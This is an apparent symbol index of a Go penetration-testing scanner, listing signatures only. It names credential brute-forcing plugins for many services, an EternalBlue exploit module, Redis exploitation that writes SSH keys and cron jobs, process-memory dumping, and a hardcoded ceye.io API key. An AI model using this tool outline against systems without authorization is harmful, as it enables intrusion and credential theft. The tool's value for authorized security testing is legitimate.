function Findnet (line 22) | func Findnet(info *Common.HostInfo) error {
function FindnetScan (line 26) | func FindnetScan(info *Common.HostInfo) error {
function HexUnicodeStringToString (line 73) | func HexUnicodeStringToString(src string) string {
function isValidHostname (line 97) | func isValidHostname(name string) bool {
function isValidNetworkAddress (line 106) | func isValidNetworkAddress(addr string) bool {
function cleanAndValidateAddress (line 116) | func cleanAndValidateAddress(data []byte) string {
function read (line 134) | func read(text []byte, host string) error {
FILE: Plugins/IMAP.go
type IMAPCredential (line 17) | type IMAPCredential struct
type IMAPScanResult (line 23) | type IMAPScanResult struct
function IMAPScan (line 30) | func IMAPScan(info *Common.HostInfo) error {
function concurrentIMAPScan (line 77) | func concurrentIMAPScan(ctx context.Context, info *Common.HostInfo, cred...
function tryIMAPCredential (line 153) | func tryIMAPCredential(ctx context.Context, info *Common.HostInfo, crede...
function IMAPConn (line 200) | func IMAPConn(ctx context.Context, info *Common.HostInfo, user string, p...
function tryIMAPAuth (line 268) | func tryIMAPAuth(conn net.Conn, user string, pass string, timeout time.D...
function saveIMAPResult (line 304) | func saveIMAPResult(info *Common.HostInfo, target string, credential IMA...
FILE: Plugins/Kafka.go
type KafkaCredential (line 14) | type KafkaCredential struct
type KafkaScanResult (line 20) | type KafkaScanResult struct
function KafkaScan (line 27) | func KafkaScan(info *Common.HostInfo) error {
function concurrentKafkaScan (line 113) | func concurrentKafkaScan(ctx context.Context, info *Common.HostInfo, cre...
function tryKafkaCredential (line 189) | func tryKafkaCredential(ctx context.Context, info *Common.HostInfo, cred...
function KafkaConn (line 283) | func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, e...
FILE: Plugins/LDAP.go
type LDAPCredential (line 15) | type LDAPCredential struct
type LDAPScanResult (line 21) | type LDAPScanResult struct
function LDAPScan (line 28) | func LDAPScan(info *Common.HostInfo) error {
function concurrentLDAPScan (line 85) | func concurrentLDAPScan(ctx context.Context, info *Common.HostInfo, cred...
function tryLDAPCredential (line 161) | func tryLDAPCredential(ctx context.Context, info *Common.HostInfo, crede...
function LDAPConn (line 210) | func LDAPConn(ctx context.Context, info *Common.HostInfo, user string, p...
function saveLDAPResult (line 278) | func saveLDAPResult(info *Common.HostInfo, target string, result *LDAPSc...
FILE: Plugins/LocalInfo.go
function LocalInfoScan (line 94) | func LocalInfoScan(info *Common.HostInfo) (err error) {
function scanFixedLocations (line 115) | func scanFixedLocations(home string) {
function checkAndLogFile (line 155) | func checkAndLogFile(path string) {
function searchSensitiveFiles (line 162) | func searchSensitiveFiles() {
FILE: Plugins/MS17010-Exp.go
function MS17010EXP (line 17) | func MS17010EXP(info *Common.HostInfo) {
function eternalBlue (line 95) | func eternalBlue(address string, initialGrooms, maxAttempts int, sc []by...
function exploit (line 123) | func exploit(address string, grooms int, payload []byte) error {
function makeKernelUserPayload (line 216) | func makeKernelUserPayload(sc []byte) []byte {
function smb1AnonymousConnectIPC (line 235) | func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, erro...
constant smbHeaderSize (line 277) | smbHeaderSize = 32
type smbHeader (line 280) | type smbHeader struct
function smb1GetResponse (line 298) | func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) {
function smbClientNegotiate (line 333) | func smbClientNegotiate(conn net.Conn) error {
function writeNetBIOSHeader (line 365) | func writeNetBIOSHeader(buf *bytes.Buffer) error {
function writeSMBHeader (line 374) | func writeSMBHeader(buf *bytes.Buffer) error {
function writeNegotiateRequest (line 403) | func writeNegotiateRequest(buf *bytes.Buffer) error {
function smb1AnonymousLogin (line 426) | func smb1AnonymousLogin(conn net.Conn) ([]byte, *smbHeader, error) {
function writeNetBIOSLoginHeader (line 454) | func writeNetBIOSLoginHeader(buf *bytes.Buffer) error {
function writeSMBLoginHeader (line 463) | func writeSMBLoginHeader(buf *bytes.Buffer) error {
function writeSessionSetupRequest (line 494) | func writeSessionSetupRequest(buf *bytes.Buffer) error {
function writeOSInfo (line 534) | func writeOSInfo(buf *bytes.Buffer) {
function getOSName (line 552) | func getOSName(raw []byte) (string, error) {
function treeConnectAndX (line 588) | func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smb...
function writeNetBIOSTreeHeader (line 624) | func writeNetBIOSTreeHeader(buf *bytes.Buffer) error {
function writeSMBTreeHeader (line 633) | func writeSMBTreeHeader(buf *bytes.Buffer, userID uint16) error {
function writeTreeConnectRequest (line 664) | func writeTreeConnectRequest(buf *bytes.Buffer, address string) error {
function updatePacketSize (line 698) | func updatePacketSize(buf *bytes.Buffer) {
function smb1LargeBuffer (line 706) | func smb1LargeBuffer(conn net.Conn, header *smbHeader) error {
function sendNTTrans (line 747) | func sendNTTrans(conn net.Conn, treeID, userID uint16) (*smbHeader, erro...
function writeNetBIOSNTTransHeader (line 780) | func writeNetBIOSNTTransHeader(buf *bytes.Buffer) error {
function writeSMBNTTransHeader (line 789) | func writeSMBNTTransHeader(buf *bytes.Buffer, treeID, userID uint16) err...
function writeNTTransRequest (line 828) | func writeNTTransRequest(buf *bytes.Buffer) error {
function makeSMB1Trans2ExploitPacket (line 870) | func makeSMB1Trans2ExploitPacket(treeID, userID uint16, timeout int, typ...
function writeNetBIOSTrans2Header (line 891) | func writeNetBIOSTrans2Header(buf *bytes.Buffer) {
function writeSMBTrans2Header (line 899) | func writeSMBTrans2Header(buf *bytes.Buffer, treeID, userID uint16) {
function writeTrans2RequestHeader (line 935) | func writeTrans2RequestHeader(buf *bytes.Buffer, timeout int) {
function writeTrans2PayloadByType (line 962) | func writeTrans2PayloadByType(buf *bytes.Buffer, typ string) {
function writeExploitPayload (line 975) | func writeExploitPayload(buf *bytes.Buffer) {
function writeExploitTrailingData (line 1000) | func writeExploitTrailingData(buf *bytes.Buffer) {
function writeZeroPayload (line 1019) | func writeZeroPayload(buf *bytes.Buffer) {
function makeSMB1EchoPacket (line 1026) | func makeSMB1EchoPacket(treeID, userID uint16) []byte {
function writeNetBIOSEchoHeader (line 1042) | func writeNetBIOSEchoHeader(buf *bytes.Buffer) {
function writeSMBEchoHeader (line 1050) | func writeSMBEchoHeader(buf *bytes.Buffer, treeID, userID uint16) {
function writeEchoRequest (line 1086) | func writeEchoRequest(buf *bytes.Buffer) {
function smb1FreeHole (line 1098) | func smb1FreeHole(address string, start bool) (net.Conn, error) {
function makeSMB1FreeHoleSessionPacket (line 1146) | func makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS []byte) []byte {
function writeNetBIOSFreeHoleHeader (line 1162) | func writeNetBIOSFreeHoleHeader(buf *bytes.Buffer) {
function writeSMBFreeHoleHeader (line 1170) | func writeSMBFreeHoleHeader(buf *bytes.Buffer, flags2 []byte) {
function writeSessionSetupFreeHoleRequest (line 1198) | func writeSessionSetupFreeHoleRequest(buf *bytes.Buffer, vcNum, nativeOS...
function smb2Grooms (line 1230) | func smb2Grooms(address string, grooms int) ([]net.Conn, error) {
constant packetMaxLen (line 1270) | packetMaxLen = 4204
constant packetSetupLen (line 1271) | packetSetupLen = 497
function makeSMB2Header (line 1275) | func makeSMB2Header() []byte {
function makeSMB2Body (line 1289) | func makeSMB2Body(payload []byte) []byte {
function writePaddingData (line 1312) | func writePaddingData(buf *bytes.Buffer) {
function writeSharedDataAddresses (line 1321) | func writeSharedDataAddresses(buf *bytes.Buffer) {
function writePayloadAddresses (line 1334) | func writePayloadAddresses(buf *bytes.Buffer) {
function makeZero (line 1349) | func makeZero(size int) []byte {
FILE: Plugins/MS17010.go
function init (line 29) | func init() {
function MS17010 (line 94) | func MS17010(info *Common.HostInfo) error {
function MS17010Scan (line 106) | func MS17010Scan(info *Common.HostInfo) error {
FILE: Plugins/MSSQL.go
type MssqlCredential (line 15) | type MssqlCredential struct
type MssqlScanResult (line 21) | type MssqlScanResult struct
function MssqlScan (line 28) | func MssqlScan(info *Common.HostInfo) error {
function concurrentMssqlScan (line 75) | func concurrentMssqlScan(ctx context.Context, info *Common.HostInfo, cre...
function tryMssqlCredential (line 151) | func tryMssqlCredential(ctx context.Context, info *Common.HostInfo, cred...
function MssqlConn (line 198) | func MssqlConn(ctx context.Context, info *Common.HostInfo, user string, ...
function saveMssqlResult (line 250) | func saveMssqlResult(info *Common.HostInfo, target string, credential Ms...
FILE: Plugins/Memcached.go
type MemcachedScanResult (line 12) | type MemcachedScanResult struct
function MemcachedScan (line 19) | func MemcachedScan(info *Common.HostInfo) error {
function tryMemcachedConnection (line 64) | func tryMemcachedConnection(ctx context.Context, info *Common.HostInfo, ...
FILE: Plugins/MiniDump.go
constant TH32CS_SNAPPROCESS (line 16) | TH32CS_SNAPPROCESS = 0x00000002
constant INVALID_HANDLE_VALUE (line 17) | INVALID_HANDLE_VALUE = ^uintptr(0)
constant MAX_PATH (line 18) | MAX_PATH = 260
constant PROCESS_ALL_ACCESS (line 20) | PROCESS_ALL_ACCESS = 0x1F0FFF
constant SE_PRIVILEGE_ENABLED (line 21) | SE_PRIVILEGE_ENABLED = 0x00000002
constant ERROR_SUCCESS (line 23) | ERROR_SUCCESS = 0
type PROCESSENTRY32 (line 26) | type PROCESSENTRY32 struct
type LUID (line 39) | type LUID struct
type LUID_AND_ATTRIBUTES (line 44) | type LUID_AND_ATTRIBUTES struct
type TOKEN_PRIVILEGES (line 49) | type TOKEN_PRIVILEGES struct
type ProcessManager (line 55) | type ProcessManager struct
method createProcessSnapshot (line 85) | func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
method findProcessInSnapshot (line 94) | func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name...
method closeHandle (line 126) | func (pm *ProcessManager) closeHandle(handle uintptr) {
method ElevatePrivileges (line 131) | func (pm *ProcessManager) ElevatePrivileges() error {
method getCurrentProcess (line 175) | func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
method DumpProcess (line 184) | func (pm *ProcessManager) DumpProcess(pid uint32, outputPath string) e...
method openProcess (line 215) | func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
method createDumpFile (line 224) | func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
method FindProcess (line 249) | func (pm *ProcessManager) FindProcess(name string) (uint32, error) {
function NewProcessManager (line 62) | func NewProcessManager() (*ProcessManager, error) {
function IsAdmin (line 260) | func IsAdmin() bool {
function MiniDump (line 279) | func MiniDump(info *Common.HostInfo) (err error) {
FILE: Plugins/MiniDumpUnix.go
function MiniDump (line 7) | func MiniDump(info *Common.HostInfo) (err error) {
FILE: Plugins/Modbus.go
type ModbusScanResult (line 13) | type ModbusScanResult struct
function ModbusScan (line 20) | func ModbusScan(info *Common.HostInfo) error {
function tryModbusScan (line 53) | func tryModbusScan(ctx context.Context, info *Common.HostInfo, timeoutSe...
function buildModbusRequest (line 189) | func buildModbusRequest() []byte {
function isValidModbusResponse (line 207) | func isValidModbusResponse(response []byte) bool {
function parseModbusResponse (line 228) | func parseModbusResponse(response []byte) string {
function saveModbusResult (line 253) | func saveModbusResult(info *Common.HostInfo, target string, result *Modb...
FILE: Plugins/Mongodb.go
function MongodbScan (line 14) | func MongodbScan(info *Common.HostInfo) error {
function MongodbUnauth (line 80) | func MongodbUnauth(ctx context.Context, info *Common.HostInfo) (bool, er...
function checkMongoAuth (line 112) | func checkMongoAuth(ctx context.Context, address string, packet []byte) ...
function createOpMsgPacket (line 169) | func createOpMsgPacket() []byte {
function createOpQueryPacket (line 182) | func createOpQueryPacket() []byte {
FILE: Plugins/MySQL.go
type MySQLCredential (line 15) | type MySQLCredential struct
type MySQLScanResult (line 21) | type MySQLScanResult struct
function MysqlScan (line 28) | func MysqlScan(info *Common.HostInfo) error {
function concurrentMySQLScan (line 75) | func concurrentMySQLScan(ctx context.Context, info *Common.HostInfo, cre...
function tryMySQLCredential (line 151) | func tryMySQLCredential(ctx context.Context, info *Common.HostInfo, cred...
function MysqlConn (line 203) | func MysqlConn(ctx context.Context, info *Common.HostInfo, user string, ...
function saveMySQLResult (line 287) | func saveMySQLResult(info *Common.HostInfo, target string, credential My...
FILE: Plugins/Neo4j.go
type Neo4jCredential (line 14) | type Neo4jCredential struct
type Neo4jScanResult (line 20) | type Neo4jScanResult struct
function Neo4jScan (line 28) | func Neo4jScan(info *Common.HostInfo) error {
function concurrentNeo4jScan (line 101) | func concurrentNeo4jScan(ctx context.Context, info *Common.HostInfo, cre...
function tryNeo4jCredential (line 177) | func tryNeo4jCredential(ctx context.Context, info *Common.HostInfo, cred...
function Neo4jConn (line 260) | func Neo4jConn(info *Common.HostInfo, user string, pass string) (bool, e...
function saveNeo4jResult (line 309) | func saveNeo4jResult(info *Common.HostInfo, target string, result *Neo4j...
FILE: Plugins/NetBIOS.go
function NetBIOS (line 17) | func NetBIOS(info *Common.HostInfo) error {
function NetBIOS1 (line 69) | func NetBIOS1(info *Common.HostInfo) (netbios NetBiosInfo, err error) {
function GetNbnsname (line 128) | func GetNbnsname(info *Common.HostInfo) (netbios NetBiosInfo, err error) {
function bytetoint (line 150) | func bytetoint(text byte) (int, error) {
function netbiosEncode (line 156) | func netbiosEncode(name string) (output []byte) {
type NetBiosInfo (line 232) | type NetBiosInfo struct
method String (line 244) | func (info *NetBiosInfo) String() (output string) {
function ParseNetBios (line 283) | func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
function ParseNTLM (line 327) | func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) {
function JoinNetBios (line 399) | func JoinNetBios(netbios1, netbios2 *NetBiosInfo) *NetBiosInfo {
FILE: Plugins/Oracle.go
type OracleCredential (line 15) | type OracleCredential struct
type OracleScanResult (line 21) | type OracleScanResult struct
function OracleScan (line 31) | func OracleScan(info *Common.HostInfo) error {
function tryAllServiceNames (line 102) | func tryAllServiceNames(ctx context.Context, info *Common.HostInfo, cred...
function concurrentOracleScan (line 123) | func concurrentOracleScan(ctx context.Context, info *Common.HostInfo, cr...
function tryOracleCredential (line 200) | func tryOracleCredential(ctx context.Context, info *Common.HostInfo, cre...
function tryOracleSysCredential (line 284) | func tryOracleSysCredential(ctx context.Context, info *Common.HostInfo, ...
function OracleConn (line 368) | func OracleConn(ctx context.Context, info *Common.HostInfo, user string,...
function saveOracleResult (line 408) | func saveOracleResult(info *Common.HostInfo, target string, credential O...
FILE: Plugins/POP3.go
type POP3Credential (line 16) | type POP3Credential struct
type POP3ScanResult (line 22) | type POP3ScanResult struct
function POP3Scan (line 29) | func POP3Scan(info *Common.HostInfo) error {
function concurrentPOP3Scan (line 76) | func concurrentPOP3Scan(ctx context.Context, info *Common.HostInfo, cred...
function tryPOP3Credential (line 183) | func tryPOP3Credential(ctx context.Context, info *Common.HostInfo, crede...
function POP3Conn (line 244) | func POP3Conn(ctx context.Context, info *Common.HostInfo, user string, p...
function tryPOP3Auth (line 325) | func tryPOP3Auth(conn net.Conn, user string, pass string, timeout time.D...
function savePOP3Result (line 388) | func savePOP3Result(info *Common.HostInfo, target string, result *POP3Sc...
FILE: Plugins/Postgres.go
type PostgresCredential (line 15) | type PostgresCredential struct
type PostgresScanResult (line 21) | type PostgresScanResult struct
function PostgresScan (line 28) | func PostgresScan(info *Common.HostInfo) error {
function concurrentPostgresScan (line 75) | func concurrentPostgresScan(ctx context.Context, info *Common.HostInfo, ...
function tryPostgresCredential (line 151) | func tryPostgresCredential(ctx context.Context, info *Common.HostInfo, c...
function PostgresConn (line 198) | func PostgresConn(ctx context.Context, info *Common.HostInfo, user strin...
function savePostgresResult (line 234) | func savePostgresResult(info *Common.HostInfo, target string, credential...
FILE: Plugins/RDP.go
type RDPCredential (line 27) | type RDPCredential struct
type RDPScanResult (line 34) | type RDPScanResult struct
function RdpScan (line 41) | func RdpScan(info *Common.HostInfo) error {
function concurrentRdpScan (line 96) | func concurrentRdpScan(ctx context.Context, info *Common.HostInfo, crede...
function tryRdpCredential (line 172) | func tryRdpCredential(ctx context.Context, host string, credential RDPCr...
function RdpConn (line 213) | func RdpConn(ip, domain, user, password string, port int, timeout int64)...
function saveRdpResult (line 232) | func saveRdpResult(info *Common.HostInfo, target string, port int, crede...
type Client (line 269) | type Client struct
method Login (line 292) | func (g *Client) Login(domain, user, pwd string, timeout int64) error {
method initProtocolStack (line 340) | func (g *Client) initProtocolStack(conn net.Conn, domain, user, pwd st...
method setupEventHandlers (line 360) | func (g *Client) setupEventHandlers(wg *sync.WaitGroup, breakFlag *boo...
function NewClient (line 280) | func NewClient(host string, logLevel glog.LEVEL) *Client {
FILE: Plugins/RabbitMQ.go
type RabbitMQCredential (line 15) | type RabbitMQCredential struct
type RabbitMQScanResult (line 21) | type RabbitMQScanResult struct
function RabbitMQScan (line 29) | func RabbitMQScan(info *Common.HostInfo) error {
function concurrentRabbitMQScan (line 89) | func concurrentRabbitMQScan(ctx context.Context, info *Common.HostInfo, ...
function tryRabbitMQCredential (line 165) | func tryRabbitMQCredential(ctx context.Context, info *Common.HostInfo, c...
function RabbitMQConn (line 228) | func RabbitMQConn(ctx context.Context, info *Common.HostInfo, user strin...
function saveRabbitMQResult (line 288) | func saveRabbitMQResult(info *Common.HostInfo, target string, credential...
FILE: Plugins/Redis.go
type RedisCredential (line 22) | type RedisCredential struct
type RedisScanResult (line 26) | type RedisScanResult struct
function RedisScan (line 33) | func RedisScan(info *Common.HostInfo) error {
function generateRedisCredentials (line 154) | func generateRedisCredentials(passwords []string) []RedisCredential {
function concurrentRedisScan (line 166) | func concurrentRedisScan(ctx context.Context, info *Common.HostInfo, cre...
function tryRedisCredential (line 242) | func tryRedisCredential(ctx context.Context, info *Common.HostInfo, cred...
function attemptRedisAuth (line 285) | func attemptRedisAuth(ctx context.Context, info *Common.HostInfo, passwo...
function RedisUnauth (line 332) | func RedisUnauth(ctx context.Context, info *Common.HostInfo) (flag bool,...
function RedisConn (line 410) | func RedisConn(info *Common.HostInfo, pass string) (bool, error) {
function ExploitRedis (line 468) | func ExploitRedis(ctx context.Context, info *Common.HostInfo, conn net.C...
function writeCustomFile (line 579) | func writeCustomFile(conn net.Conn, dirPath, fileName, content string) (...
function writekey (line 651) | func writekey(conn net.Conn, filename string) (flag bool, text string, e...
function writecron (line 735) | func writecron(conn net.Conn, host string) (flag bool, text string, err ...
function Readfile (line 830) | func Readfile(filename string) (string, error) {
function readreply (line 853) | func readreply(conn net.Conn) (string, error) {
function getconfig (line 869) | func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
function recoverdb (line 918) | func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
FILE: Plugins/Rsync.go
type RsyncCredential (line 14) | type RsyncCredential struct
type RsyncScanResult (line 20) | type RsyncScanResult struct
function RsyncScan (line 28) | func RsyncScan(info *Common.HostInfo) error {
function concurrentRsyncScan (line 85) | func concurrentRsyncScan(ctx context.Context, info *Common.HostInfo, cre...
function tryRsyncCredential (line 161) | func tryRsyncCredential(ctx context.Context, info *Common.HostInfo, cred...
function RsyncConn (line 211) | func RsyncConn(ctx context.Context, info *Common.HostInfo, user string, ...
function saveRsyncResult (line 447) | func saveRsyncResult(info *Common.HostInfo, target string, result *Rsync...
FILE: Plugins/SMB.go
type SmbCredential (line 14) | type SmbCredential struct
type SmbScanResult (line 20) | type SmbScanResult struct
function SmbScan (line 26) | func SmbScan(info *Common.HostInfo) error {
function concurrentSmbScan (line 73) | func concurrentSmbScan(ctx context.Context, info *Common.HostInfo, crede...
function trySmbCredential (line 178) | func trySmbCredential(ctx context.Context, info *Common.HostInfo, creden...
function saveSmbResult (line 223) | func saveSmbResult(info *Common.HostInfo, target string, credential SmbC...
function SmblConn (line 256) | func SmblConn(info *Common.HostInfo, user string, pass string, signal ch...
FILE: Plugins/SMB2.go
type Smb2Credential (line 17) | type Smb2Credential struct
type Smb2ScanResult (line 25) | type Smb2ScanResult struct
function SmbScan2 (line 33) | func SmbScan2(info *Common.HostInfo) error {
function smbPasswordScan (line 54) | func smbPasswordScan(ctx context.Context, info *Common.HostInfo) error {
function smbHashScan (line 81) | func smbHashScan(ctx context.Context, info *Common.HostInfo) error {
function concurrentSmb2Scan (line 107) | func concurrentSmb2Scan(ctx context.Context, info *Common.HostInfo, cred...
function trySmb2Credential (line 248) | func trySmb2Credential(ctx context.Context, info *Common.HostInfo, crede...
function Smb2Con (line 318) | func Smb2Con(ctx context.Context, info *Common.HostInfo, user string, pa...
function logSuccessfulAuth (line 398) | func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []...
function logFailedAuth (line 439) | func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte...
function logShareInfo (line 453) | func logShareInfo(info *Common.HostInfo, user string, pass string, hash ...
FILE: Plugins/SMTP.go
type SmtpCredential (line 15) | type SmtpCredential struct
type SmtpScanResult (line 21) | type SmtpScanResult struct
function SmtpScan (line 29) | func SmtpScan(info *Common.HostInfo) error {
function concurrentSmtpScan (line 86) | func concurrentSmtpScan(ctx context.Context, info *Common.HostInfo, cred...
function trySmtpCredential (line 162) | func trySmtpCredential(ctx context.Context, info *Common.HostInfo, crede...
function SmtpConn (line 250) | func SmtpConn(info *Common.HostInfo, user string, pass string, timeoutSe...
function saveSmtpResult (line 294) | func saveSmtpResult(info *Common.HostInfo, target string, result *SmtpSc...
FILE: Plugins/SNMP.go
function SNMPScan (line 13) | func SNMPScan(info *Common.HostInfo) (tmperr error) {
function SNMPConnect (line 110) | func SNMPConnect(info *Common.HostInfo, community string, portNum int) (...
FILE: Plugins/SSH.go
type SshCredential (line 16) | type SshCredential struct
type SshScanResult (line 22) | type SshScanResult struct
function SshScan (line 29) | func SshScan(info *Common.HostInfo) error {
function attemptKeyAuth (line 110) | func attemptKeyAuth(info *Common.HostInfo, username, keyPath string, tim...
function generateCredentials (line 146) | func generateCredentials(users, passwords []string) []SshCredential {
function concurrentSshScan (line 161) | func concurrentSshScan(ctx context.Context, info *Common.HostInfo, crede...
function trySshCredential (line 236) | func trySshCredential(info *Common.HostInfo, credential SshCredential, t...
function attemptSshConnection (line 270) | func attemptSshConnection(info *Common.HostInfo, username, password stri...
function sshConnect (line 299) | func sshConnect(info *Common.HostInfo, username, password string, timeou...
function logAndSaveSuccess (line 327) | func logAndSaveSuccess(info *Common.HostInfo, target string, result *Ssh...
FILE: Plugins/SmbGhost.go
constant pkt (line 12) | pkt = "\x00" + // session
function SmbGhost (line 98) | func SmbGhost(info *Common.HostInfo) error {
function SmbGhostScan (line 110) | func SmbGhostScan(info *Common.HostInfo) error {
FILE: Plugins/Telnet.go
type TelnetCredential (line 17) | type TelnetCredential struct
type TelnetScanResult (line 23) | type TelnetScanResult struct
function TelnetScan (line 31) | func TelnetScan(info *Common.HostInfo) error {
function concurrentTelnetScan (line 78) | func concurrentTelnetScan(ctx context.Context, info *Common.HostInfo, cr...
function tryTelnetCredential (line 154) | func tryTelnetCredential(ctx context.Context, info *Common.HostInfo, cre...
function telnetConnWithContext (line 250) | func telnetConnWithContext(ctx context.Context, info *Common.HostInfo, u...
function saveTelnetResult (line 290) | func saveTelnetResult(info *Common.HostInfo, target string, result *Teln...
type TelnetClient (line 327) | type TelnetClient struct
method init (line 338) | func (c *TelnetClient) init() {
method WriteContext (line 373) | func (c *TelnetClient) WriteContext(s string) {
method ReadContext (line 379) | func (c *TelnetClient) ReadContext() string {
method Netloc (line 396) | func (c *TelnetClient) Netloc() string {
method Close (line 401) | func (c *TelnetClient) Close() {
method SerializationResponse (line 408) | func (c *TelnetClient) SerializationResponse(responseBuf []byte) (disp...
method MakeReplyFromList (line 454) | func (c *TelnetClient) MakeReplyFromList(list [][]byte) []byte {
method MakeReply (line 463) | func (c *TelnetClient) MakeReply(command []byte) []byte {
method read (line 507) | func (c *TelnetClient) read() ([]byte, error) {
method write (line 519) | func (c *TelnetClient) write(buf []byte) error {
method Login (line 533) | func (c *TelnetClient) Login() error {
method MakeServerType (line 549) | func (c *TelnetClient) MakeServerType() int {
method LogBaserOnlyPassword (line 609) | func (c *TelnetClient) LogBaserOnlyPassword() error {
method LogBaserUsernameAndPassword (line 629) | func (c *TelnetClient) LogBaserUsernameAndPassword() error {
method Clear (line 652) | func (c *TelnetClient) Clear() {
method isLoginFailed (line 666) | func (c *TelnetClient) isLoginFailed(responseString string) bool {
method isLoginSucceed (line 697) | func (c *TelnetClient) isLoginSucceed(responseString string) bool {
function containsAny (line 583) | func containsAny(s string, substrings []string) bool {
function isNoAuthRequired (line 593) | func isNoAuthRequired(line string) bool {
constant TIME_DELAY_AFTER_WRITE (line 739) | TIME_DELAY_AFTER_WRITE = 300 * time.Millisecond
constant IAC (line 742) | IAC = byte(255)
constant DONT (line 743) | DONT = byte(254)
constant DO (line 744) | DO = byte(253)
constant WONT (line 745) | WONT = byte(252)
constant WILL (line 746) | WILL = byte(251)
constant SB (line 749) | SB = byte(250)
constant SE (line 750) | SE = byte(240)
constant NULL (line 753) | NULL = byte(0)
constant EOF (line 754) | EOF = byte(236)
constant SUSP (line 755) | SUSP = byte(237)
constant ABORT (line 756) | ABORT = byte(238)
constant REOR (line 757) | REOR = byte(239)
constant BINARY (line 760) | BINARY = byte(0)
constant ECHO (line 761) | ECHO = byte(1)
constant SGA (line 762) | SGA = byte(3)
constant Closed (line 765) | Closed = iota
constant UnauthorizedAccess (line 766) | UnauthorizedAccess
constant OnlyPassword (line 767) | OnlyPassword
constant UsernameAndPassword (line 768) | UsernameAndPassword
FILE: Plugins/VNC.go
type VncCredential (line 14) | type VncCredential struct
type VncScanResult (line 19) | type VncScanResult struct
function VncScan (line 25) | func VncScan(info *Common.HostInfo) error {
function concurrentVncScan (line 65) | func concurrentVncScan(ctx context.Context, info *Common.HostInfo, crede...
function tryVncCredential (line 141) | func tryVncCredential(ctx context.Context, info *Common.HostInfo, creden...
function VncConn (line 188) | func VncConn(ctx context.Context, info *Common.HostInfo, pass string) (b...
function saveVncResult (line 256) | func saveVncResult(info *Common.HostInfo, target string, credential VncC...
FILE: Plugins/WebPoc.go
function WebPoc (line 9) | func WebPoc(info *Common.HostInfo) error {
FILE: Plugins/WebTitle.go
constant maxTitleLength (line 25) | maxTitleLength = 100
constant defaultProtocol (line 26) | defaultProtocol = "http"
constant httpsProtocol (line 27) | httpsProtocol = "https"
constant httpProtocol (line 28) | httpProtocol = "http"
constant printerFingerPrint (line 29) | printerFingerPrint = "打印机"
constant emptyTitle (line 30) | emptyTitle = "\"\""
constant noTitleText (line 31) | noTitleText = "无标题"
constant httpPort (line 34) | httpPort = "80"
constant httpsPort (line 35) | httpsPort = "443"
constant contentEncoding (line 36) | contentEncoding = "Content-Encoding"
constant gzipEncoding (line 37) | gzipEncoding = "gzip"
constant contentLength (line 38) | contentLength = "Content-Length"
type WebResponse (line 49) | type WebResponse struct
type ProtocolResult (line 61) | type ProtocolResult struct
function WebTitle (line 67) | func WebTitle(info *Common.HostInfo) error {
function initializeUrl (line 102) | func initializeUrl(info *Common.HostInfo) error {
function fetchWebInfo (line 132) | func fetchWebInfo(info *Common.HostInfo) ([]WebScan.CheckDatas, error) {
function fetchUrlWithRetry (line 193) | func fetchUrlWithRetry(info *Common.HostInfo, followRedirect bool, check...
function fetchUrl (line 215) | func fetchUrl(targetUrl string, followRedirect bool) (*WebResponse, erro...
function readResponseBody (line 300) | func readResponseBody(resp *http.Response) ([]byte, error) {
function extractTitle (line 324) | func extractTitle(body []byte) string {
function saveWebResult (line 355) | func saveWebResult(info *Common.HostInfo, resp *WebResponse) {
function detectProtocol (line 413) | func detectProtocol(host string, timeout int64) (string, error) {
function checkHTTPS (line 481) | func checkHTTPS(host string, timeout time.Duration) bool {
function checkHTTP (line 507) | func checkHTTP(ctx context.Context, host string, timeout time.Duration) ...
FILE: WebScan/InfoScan.go
type CheckDatas (line 12) | type CheckDatas struct
function InfoCheck (line 18) | func InfoCheck(Url string, CheckData *[]CheckDatas) []string {
function CalcMd5 (line 70) | func CalcMd5(Body []byte) (bool, string) {
function removeDuplicateElement (line 84) | func removeDuplicateElement(items []string) []string {
FILE: WebScan/WebScan.go
constant protocolHTTP (line 22) | protocolHTTP = "http://"
constant protocolHTTPS (line 23) | protocolHTTPS = "https://"
constant yamlExt (line 24) | yamlExt = ".yaml"
constant ymlExt (line 25) | ymlExt = ".yml"
constant defaultTimeout (line 26) | defaultTimeout = 30 * time.Second
constant concurrencyLimit (line 27) | concurrencyLimit = 10
function WebScan (line 46) | func WebScan(info *Common.HostInfo) {
function buildTargetURL (line 86) | func buildTargetURL(info *Common.HostInfo) (string, error) {
function hasProtocolPrefix (line 104) | func hasProtocolPrefix(urlStr string) bool {
function scanByFingerprints (line 109) | func scanByFingerprints(ctx context.Context, target string, fingerprints...
function executePOCs (line 125) | func executePOCs(ctx context.Context, pocInfo Common.PocInfo) {
function createBaseRequest (line 163) | func createBaseRequest(ctx context.Context, target string) (*http.Reques...
function initPocs (line 181) | func initPocs() {
function loadEmbeddedPocs (line 192) | func loadEmbeddedPocs() {
function loadExternalPocs (line 212) | func loadExternalPocs(pocPath string) {
function loadPocsConcurrently (line 241) | func loadPocsConcurrently(pocFiles []string, isEmbedded bool, pocPath st...
function directoryExists (line 295) | func directoryExists(path string) bool {
function isPocFile (line 301) | func isPocFile(filename string) bool {
function filterPocs (line 307) | func filterPocs(pocName string) []*lib.Poc {
FILE: WebScan/info/Rules.go
type RuleData (line 3) | type RuleData struct
type Md5Data (line 9) | type Md5Data struct
type PocData (line 14) | type PocData struct
FILE: WebScan/lib/Check.go
constant ceyeApi (line 20) | ceyeApi = "a78a1cb49d91fe09e01876078d1868b2"
constant ceyeDomain (line 21) | ceyeDomain = "7wtusr.ceye.io"
type Task (line 25) | type Task struct
type VulnResult (line 31) | type VulnResult struct
function CheckMultiPoc (line 43) | func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
function createVulnDetails (line 146) | func createVulnDetails(poc *Poc, vulName string) map[string]interface{} {
